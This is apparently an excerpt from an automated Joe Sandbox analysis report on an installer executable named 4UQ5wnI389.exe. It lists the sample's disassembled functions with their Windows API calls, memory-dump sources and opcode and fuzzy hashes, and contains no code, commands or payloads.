Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 00401B77 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00721EA0), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF9

Strings

Call, xrefs: 00401B9E, 00401BA4, 00401BBE

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction ID: 4b9c6e54fa6809cb214bd66434af352d7e41d31d349781cb692caa9f676c35e6
Opcode Fuzzy Hash: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction Fuzzy Hash: 6E217B73A00200D7DB20EB94CEC995E73A4AB45314765053BF506F32D1DBB8E851DBAD

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,00436000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsw4EC8.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction ID: 92c71ce55c792e737e0c56b3c5c8c262173643586798c2a655fc457b9e75749a
Opcode Fuzzy Hash: a00859f013a8106156cc87040160a2b11e5294e3cc8a521d5b70861134e176e9
Instruction Fuzzy Hash: 5FF0F632E041109BE700BBA49B8EABE72A49B44314F29003FFE42F31C0CAF85D42976D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\4UQ5wnI389.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 70142AAC Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 70142B6B

Memory Dump Source

Source File: 00000000.00000002.1972315766.0000000070141000.00000020.00000001.01000000.00000004.sdmp, Offset: 70140000, based on PE: true

Associated: 00000000.00000002.1972298784.0000000070140000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972332397.0000000070144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1972350477.0000000070146000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70140000_4UQ5wnI389.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 28a79c12e08d42398654c0a4f567b29b53a2c487832f190aa36e38849d9a62e5
Instruction ID: c12264d6cdcd0aeed1f10a988a6d9d21be059357f26e6825f088eebd9ea3953b
Opcode Fuzzy Hash: 28a79c12e08d42398654c0a4f567b29b53a2c487832f190aa36e38849d9a62e5
Instruction Fuzzy Hash: AA418F76800204EFDB21DF65DD92B5D3775EB16368FB058AAFC05C7A71D638A8C08BA1

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938990466.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1939072407.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000000.00000002.1938953238.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1938934541.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1938972156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
